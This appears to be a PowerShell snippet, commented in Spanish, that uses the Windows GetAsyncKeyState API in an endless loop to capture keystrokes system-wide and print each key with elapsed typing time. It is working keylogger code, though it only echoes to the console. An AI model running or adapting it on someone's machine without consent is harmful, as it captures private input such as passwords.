1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
#Declarar funciones $signatures = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); '@ #Cargar las funciones declaradas $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru $Comienzo = Get-Date try { $Total = 0 #Bucle infinito para capturar pulsación de teclas while(1) { #Para cada uno de los caracteres ASCII for ($ascii = 9; $ascii -le 254; $ascii++) { #Capturar key state $state = $API::GetAsyncKeyState($ascii) #Si se ha pulsado una tecla if ($state -eq -32767) { [char]$ascii[0] $Tiempo = ((Get-Date) - $Comienzo).TotalMilliseconds $Total +=$Tiempo $Comienzo = Get-Date #Tiempo total desde que se empezó a pulsar letras y se siguen pulsando $Total } } } } finally { } |